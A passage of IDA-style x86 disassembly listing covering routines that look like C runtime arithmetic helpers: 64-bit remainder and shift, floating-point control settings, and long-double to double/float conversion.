		mov	ecx, [ebp+var_4]
		pop	edi
		mov	[ebx+0Ch], esi
		pop	esi
		mov	eax, ebx
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_419BA4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419C40	proc near		; CODE XREF: sub_41917C+2F9p
					; sub_41917C+31Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebp
		xor	edi, edi
		xor	ebp, ebp
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419C64
		inc	edi
		inc	ebp
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_419C64:				; CODE XREF: sub_419C40+Dj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_419C80
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_419C80:				; CODE XREF: sub_419C40+2Aj
		or	eax, eax
		jnz	short loc_419CAC
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+0Ch+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+0Ch+arg_8]
		add	edx, ecx
		jmp	short loc_419CF3
; ---------------------------------------------------------------------------


loc_419CAC:				; CODE XREF: sub_419C40+42j
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_419CBA:				; CODE XREF: sub_419C40+84j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_419CBA
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_419CE8
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_419CE8
		jb	short loc_419CF1
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_419CF1


loc_419CE8:				; CODE XREF: sub_419C40+98j
					; sub_419C40+9Ej
		dec	esi
		sub	eax, [esp+0Ch+arg_8]
		sbb	edx, [esp+0Ch+arg_C]


loc_419CF1:				; CODE XREF: sub_419C40+A0j
					; sub_419C40+A6j
		xor	ebx, ebx


loc_419CF3:				; CODE XREF: sub_419C40+6Aj
		sub	eax, [esp+0Ch+arg_0]
		sbb	edx, [esp+0Ch+arg_4]
		dec	ebp
		jns	short loc_419D05
		neg	edx
		neg	eax
		sbb	edx, 0


loc_419D05:				; CODE XREF: sub_419C40+BCj
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		dec	edi
		jnz	short loc_419D19
		neg	edx
		neg	eax
		sbb	edx, 0


loc_419D19:				; CODE XREF: sub_419C40+D0j
		pop	ebp
		pop	esi
		pop	edi
		retn	10h
sub_419C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419D20	proc near		; CODE XREF: sub_41917C+1ECp
					; sub_41917C+240p ...
		cmp	cl, 40h
		jnb	short loc_419D3A
		cmp	cl, 20h
		jnb	short loc_419D30
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_419D30:				; CODE XREF: sub_419D20+8j
		mov	eax, edx
		xor	edx, edx
		and	cl, 1Fh
		shr	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_419D3A:				; CODE XREF: sub_419D20+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_419D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D3F	proc near		; CODE XREF: sub_419846+10p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		and	ecx, eax
		push	esi
		test	ecx, 0FCF0FCE0h
		jz	short loc_419D8B
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_419D6F
		push	esi
		push	esi
		call	sub_41B97D
		pop	ecx
		pop	ecx
		mov	[edi], eax


loc_419D6F:				; CODE XREF: sub_419D3F+23j
		call	sub_40C862
		push	16h
		pop	edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[eax], edi
		call	sub_40B255
		add	esp, 14h
		mov	eax, edi
		pop	edi
		jmp	short loc_419DA8
; ---------------------------------------------------------------------------


loc_419D8B:				; CODE XREF: sub_419D3F+19j
		mov	esi, [ebp+arg_0]
		push	eax
		push	[ebp+arg_4]
		test	esi, esi
		jz	short loc_419D9F
		call	sub_41B97D
		mov	[esi], eax
		jmp	short loc_419DA4
; ---------------------------------------------------------------------------


loc_419D9F:				; CODE XREF: sub_419D3F+55j
		call	sub_41B97D


loc_419DA4:				; CODE XREF: sub_419D3F+5Ej
		pop	ecx
		pop	ecx
		xor	eax, eax


loc_419DA8:				; CODE XREF: sub_419D3F+4Aj
		pop	esi
		pop	ebp
		retn
sub_419D3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DAB	proc near		; CODE XREF: sub_4198D8+46p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		shl	eax, 10h
		push	edi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_18], eax
		cmp	ebx, 0FFFFC001h
		jnz	short loc_419E17
		xor	ebx, ebx
		xor	eax, eax


loc_419DF4:				; CODE XREF: sub_419DAB+53j
		cmp	[ebp+eax*4+var_20], ebx
		jnz	short loc_419E07
		inc	eax
		cmp	eax, 3
		jl	short loc_419DF4
		xor	eax, eax
		jmp	loc_41A2AC
; ---------------------------------------------------------------------------


loc_419E07:				; CODE XREF: sub_419DAB+4Dj
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		push	2
		stosd
		pop	eax
		jmp	loc_41A2AC
; ---------------------------------------------------------------------------


loc_419E17:				; CODE XREF: sub_419DAB+43j
		and	[ebp+arg_0], 0
		push	esi
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_2C]
		movsd
		movsd
		movsd
		mov	esi, dword_42E038
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], eax
		jns	short loc_419E4F
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_419E4F:				; CODE XREF: sub_419DAB+9Dj
		lea	edi, [ebp+eax*4+var_20]
		push	1Fh
		xor	eax, eax
		pop	ecx
		sub	ecx, edx
		inc	eax
		shl	eax, cl
		mov	[ebp+var_8], ecx
		test	[edi], eax
		jz	loc_419EF5
		mov	eax, [ebp+var_C]
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_419E7D
; ---------------------------------------------------------------------------


loc_419E78:				; CODE XREF: sub_419DAB+D8j
		cmp	[ebp+eax*4+var_20], 0


loc_419E7D:				; CODE XREF: sub_419DAB+CBj
		jnz	short loc_419E87
		inc	eax
		cmp	eax, 3
		jl	short loc_419E78
		jmp	short loc_419EF5
; ---------------------------------------------------------------------------


loc_419E87:				; CODE XREF: sub_419DAB:loc_419E7Dj
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_419EA1
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi


loc_419EA1:				; CODE XREF: sub_419DAB+EFj
		and	[ebp+var_4], 0
		sub	ecx, esi
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		add	esi, edx
		mov	[ebp+arg_0], esi
		mov	esi, [ecx]
		cmp	[ebp+arg_0], esi
		jb	short loc_419EE0
		cmp	[ebp+arg_0], edx
		jmp	short loc_419EDE
; ---------------------------------------------------------------------------


loc_419EC3:				; CODE XREF: sub_419DAB+145j
		test	ecx, ecx
		jz	short loc_419EF2
		and	[ebp+var_4], 0
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		mov	[ebp+arg_0], esi
		cmp	esi, edx
		jb	short loc_419EE0
		cmp	esi, 1


loc_419EDE:				; CODE XREF: sub_419DAB+116j
		jnb	short loc_419EE7


loc_419EE0:				; CODE XREF: sub_419DAB+111j
					; sub_419DAB+12Ej
		mov	[ebp+var_4], 1


loc_419EE7:				; CODE XREF: sub_419DAB:loc_419EDEj
		dec	eax
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_4]
		jns	short loc_419EC3


loc_419EF2:				; CODE XREF: sub_419DAB+11Aj
		mov	[ebp+arg_0], ecx


loc_419EF5:				; CODE XREF: sub_419DAB+B7j
					; sub_419DAB+DAj
		mov	ecx, [ebp+var_8]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[edi], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_419F15
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd


loc_419F15:				; CODE XREF: sub_419DAB+15Bj
		cmp	[ebp+arg_0], 0
		jz	short loc_419F1C
		inc	ebx


loc_419F1C:				; CODE XREF: sub_419DAB+16Ej
		mov	eax, dword_42E034
		mov	ecx, eax
		sub	ecx, dword_42E038
		cmp	ebx, ecx
		jge	short loc_419F3A
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		jmp	loc_41A147
; ---------------------------------------------------------------------------


loc_419F3A:				; CODE XREF: sub_419DAB+180j
		cmp	ebx, eax
		jg	loc_41A151
		sub	eax, [ebp+var_10]
		lea	esi, [ebp+var_2C]
		mov	ecx, eax
		lea	edi, [ebp+var_20]
		movsd
		cdq
		and	edx, 1Fh
		add	eax, edx
		movsd
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		movsd
		jns	short loc_419F68
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_419F68:				; CODE XREF: sub_419DAB+1B6j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi


loc_419F83:				; CODE XREF: sub_419DAB+203j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_419F83
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi


loc_419FBD:				; CODE XREF: sub_419DAB+229j
		cmp	edx, eax
		jl	short loc_419FC9
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_419FCE
; ---------------------------------------------------------------------------


loc_419FC9:				; CODE XREF: sub_419DAB+214j
		and	[ebp+edx*4+var_20], 0


loc_419FCE:				; CODE XREF: sub_419DAB+21Cj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_419FBD
		mov	esi, dword_42E038
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_C], eax
		jns	short loc_419FFD
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_419FFD:				; CODE XREF: sub_419DAB+24Bj
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ebx, [ebp+eax*4+var_20]
		mov	[ebp+var_10], ecx
		test	[ebx], edx
		jz	loc_41A098
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41A028
; ---------------------------------------------------------------------------


loc_41A023:				; CODE XREF: sub_419DAB+283j
		cmp	[ebp+eax*4+var_20], 0


loc_41A028:				; CODE XREF: sub_419DAB+276j
		jnz	short loc_41A032
		inc	eax
		cmp	eax, 3
		jl	short loc_41A023
		jmp	short loc_41A098
; ---------------------------------------------------------------------------


loc_41A032:				; CODE XREF: sub_419DAB:loc_41A028j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41A04C
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi


loc_41A04C:				; CODE XREF: sub_419DAB+29Aj
		and	[ebp+arg_0], 0
		xor	edx, edx
		sub	ecx, esi
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		lea	edi, [esi+edx]
		cmp	edi, esi
		jb	short loc_41A068
		cmp	edi, edx
		jnb	short loc_41A06F


loc_41A068:				; CODE XREF: sub_419DAB+2B7j
		mov	[ebp+arg_0], 1


loc_41A06F:				; CODE XREF: sub_419DAB+2BBj
		mov	[ecx], edi
		mov	ecx, [ebp+arg_0]
		jmp	short loc_41A095
; ---------------------------------------------------------------------------


loc_41A076:				; CODE XREF: sub_419DAB+2EBj
		test	ecx, ecx
		jz	short loc_41A098
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		xor	edi, edi
		cmp	esi, edx
		jb	short loc_41A08E
		cmp	esi, 1
		jnb	short loc_41A091


loc_41A08E:				; CODE XREF: sub_419DAB+2DCj
		xor	edi, edi
		inc	edi


loc_41A091:				; CODE XREF: sub_419DAB+2E1j
		mov	[ecx], esi
		mov	ecx, edi


loc_41A095:				; CODE XREF: sub_419DAB+2C9j
		dec	eax
		jns	short loc_41A076


loc_41A098:				; CODE XREF: sub_419DAB+265j
					; sub_419DAB+285j ...
		mov	ecx, [ebp+var_10]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[ebx], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41A0B8
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd


loc_41A0B8:				; CODE XREF: sub_419DAB+2FEj
		mov	ecx, dword_42E03C
		inc	ecx
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41A0D9
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_41A0D9:				; CODE XREF: sub_419DAB+327j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi


loc_41A0F4:				; CODE XREF: sub_419DAB+374j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41A0F4
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi


loc_41A12E:				; CODE XREF: sub_419DAB+39Aj
		cmp	edx, eax
		jl	short loc_41A13A
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41A13F
; ---------------------------------------------------------------------------


loc_41A13A:				; CODE XREF: sub_419DAB+385j
		and	[ebp+edx*4+var_20], 0


loc_41A13F:				; CODE XREF: sub_419DAB+38Dj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41A12E


loc_41A147:				; CODE XREF: sub_419DAB+18Aj
		push	2
		xor	ebx, ebx
		pop	eax
		jmp	loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A151:				; CODE XREF: sub_419DAB+191j
		cmp	ebx, dword_42E030
		mov	ecx, dword_42E03C
		jl	loc_41A210
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		or	[ebp+var_20], 80000000h
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41A18C
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_41A18C:				; CODE XREF: sub_419DAB+3DAj
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi


loc_41A1A7:				; CODE XREF: sub_419DAB+427j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41A1A7
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi


loc_41A1E1:				; CODE XREF: sub_419DAB+44Dj
		cmp	edx, eax
		jl	short loc_41A1ED
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41A1F2
; ---------------------------------------------------------------------------


loc_41A1ED:				; CODE XREF: sub_419DAB+438j
		and	[ebp+edx*4+var_20], 0


loc_41A1F2:				; CODE XREF: sub_419DAB+440j
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41A1E1
		mov	eax, dword_42E030
		mov	ecx, dword_42E044
		lea	ebx, [ecx+eax]
		xor	eax, eax
		inc	eax
		jmp	loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A210:				; CODE XREF: sub_419DAB+3B2j
		mov	eax, dword_42E044
		and	[ebp+var_20], 7FFFFFFFh
		add	ebx, eax
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41A238
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_41A238:				; CODE XREF: sub_419DAB+486j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	esi, 0FFFFFFFFh
		mov	ecx, edx
		shl	esi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	esi


loc_41A253:				; CODE XREF: sub_419DAB+4D6j
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+ecx*4+var_20]
		mov	ecx, edi
		and	ecx, esi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	edi, [ebp+var_C]
		mov	[ebp+ecx*4+var_20], edi
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		shl	edi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], edi
		jl	short loc_41A253
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi


loc_41A290:				; CODE XREF: sub_419DAB+4FCj
		cmp	edx, eax
		jl	short loc_41A29C
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41A2A1
; ---------------------------------------------------------------------------


loc_41A29C:				; CODE XREF: sub_419DAB+4E7j
		and	[ebp+edx*4+var_20], 0


loc_41A2A1:				; CODE XREF: sub_419DAB+4EFj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41A290
		xor	eax, eax


loc_41A2AB:				; CODE XREF: sub_419DAB+3A1j
					; sub_419DAB+460j
		pop	esi


loc_41A2AC:				; CODE XREF: sub_419DAB+57j
					; sub_419DAB+67j
		push	1Fh
		pop	ecx
		sub	ecx, dword_42E03C
		shl	ebx, cl
		mov	ecx, [ebp+var_14]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		mov	ecx, dword_42E040
		or	ebx, [ebp+var_20]
		cmp	ecx, 40h
		jnz	short loc_41A2E1
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_41A2EB
; ---------------------------------------------------------------------------


loc_41A2E1:				; CODE XREF: sub_419DAB+527j
		cmp	ecx, 20h
		jnz	short loc_41A2EB
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx


loc_41A2EB:				; CODE XREF: sub_419DAB+534j
					; sub_419DAB+539j
		pop	edi
		pop	ebx
		leave
		retn
sub_419DAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2EF	proc near		; CODE XREF: sub_419980+46p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		shl	eax, 10h
		push	edi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_18], eax
		cmp	ebx, 0FFFFC001h
		jnz	short loc_41A35B
		xor	ebx, ebx
		xor	eax, eax


loc_41A338:				; CODE XREF: sub_41A2EF+53j
		cmp	[ebp+eax*4+var_20], ebx
		jnz	short loc_41A34B
		inc	eax
		cmp	eax, 3
		jl	short loc_41A338
		xor	eax, eax
		jmp	loc_41A7F0
; ---------------------------------------------------------------------------


loc_41A34B:				; CODE XREF: sub_41A2EF+4Dj
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		push	2
		stosd
		pop	eax
		jmp	loc_41A7F0
; ---------------------------------------------------------------------------


loc_41A35B:				; CODE XREF: sub_41A2EF+43j
		and	[ebp+arg_0], 0
		push	esi
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_2C]
		movsd
		movsd
		movsd
		mov	esi, dword_42E050
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], eax
		jns	short loc_41A393
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_41A393:				; CODE XREF: sub_41A2EF+9Dj
		lea	edi, [ebp+eax*4+var_20]
		push	1Fh
		xor	eax, eax
		pop	ecx
		sub	ecx, edx
		inc	eax
		shl	eax, cl
		mov	[ebp+var_8], ecx
		test	[edi], eax
		jz	loc_41A439
		mov	eax, [ebp+var_C]
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41A3C1
; ---------------------------------------------------------------------------


loc_41A3BC:				; CODE XREF: sub_41A2EF+D8j
		cmp	[ebp+eax*4+var_20], 0


loc_41A3C1:				; CODE XREF: sub_41A2EF+CBj
		jnz	short loc_41A3CB
		inc	eax
		cmp	eax, 3
		jl	short loc_41A3BC
		jmp	short loc_41A439
; ---------------------------------------------------------------------------


loc_41A3CB:				; CODE XREF: sub_41A2EF:loc_41A3C1j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41A3E5
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi


loc_41A3E5:				; CODE XREF: sub_41A2EF+EFj
		and	[ebp+var_4], 0
		sub	ecx, esi
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		add	esi, edx
		mov	[ebp+arg_0], esi
		mov	esi, [ecx]
		cmp	[ebp+arg_0], esi
		jb	short loc_41A424
		cmp	[ebp+arg_0], edx
		jmp	short loc_41A422
; ---------------------------------------------------------------------------


loc_41A407:				; CODE XREF: sub_41A2EF+145j
		test	ecx, ecx
		jz	short loc_41A436
		and	[ebp+var_4], 0
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		mov	[ebp+arg_0], esi
		cmp	esi, edx
		jb	short loc_41A424
		cmp	esi, 1


loc_41A422:				; CODE XREF: sub_41A2EF+116j
		jnb	short loc_41A42B


loc_41A424:				; CODE XREF: sub_41A2EF+111j
					; sub_41A2EF+12Ej
		mov	[ebp+var_4], 1


loc_41A42B:				; CODE XREF: sub_41A2EF:loc_41A422j
		dec	eax
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_4]
		jns	short loc_41A407


loc_41A436:				; CODE XREF: sub_41A2EF+11Aj
		mov	[ebp+arg_0], ecx


loc_41A439:				; CODE XREF: sub_41A2EF+B7j
					; sub_41A2EF+DAj
		mov	ecx, [ebp+var_8]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[edi], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41A459
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd


loc_41A459:				; CODE XREF: sub_41A2EF+15Bj
		cmp	[ebp+arg_0], 0
		jz	short loc_41A460
		inc	ebx


loc_41A460:				; CODE XREF: sub_41A2EF+16Ej
		mov	eax, dword_42E04C
		mov	ecx, eax
		sub	ecx, dword_42E050
		cmp	ebx, ecx
		jge	short loc_41A47E
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		jmp	loc_41A68B
; ---------------------------------------------------------------------------


loc_41A47E:				; CODE XREF: sub_41A2EF+180j
		cmp	ebx, eax
		jg	loc_41A695
		sub	eax, [ebp+var_10]
		lea	esi, [ebp+var_2C]
		mov	ecx, eax
		lea	edi, [ebp+var_20]
		movsd
		cdq
		and	edx, 1Fh
		add	eax, edx
		movsd
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		movsd
		jns	short loc_41A4AC
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_41A4AC:				; CODE XREF: sub_41A2EF+1B6j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi


loc_41A4C7:				; CODE XREF: sub_41A2EF+203j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
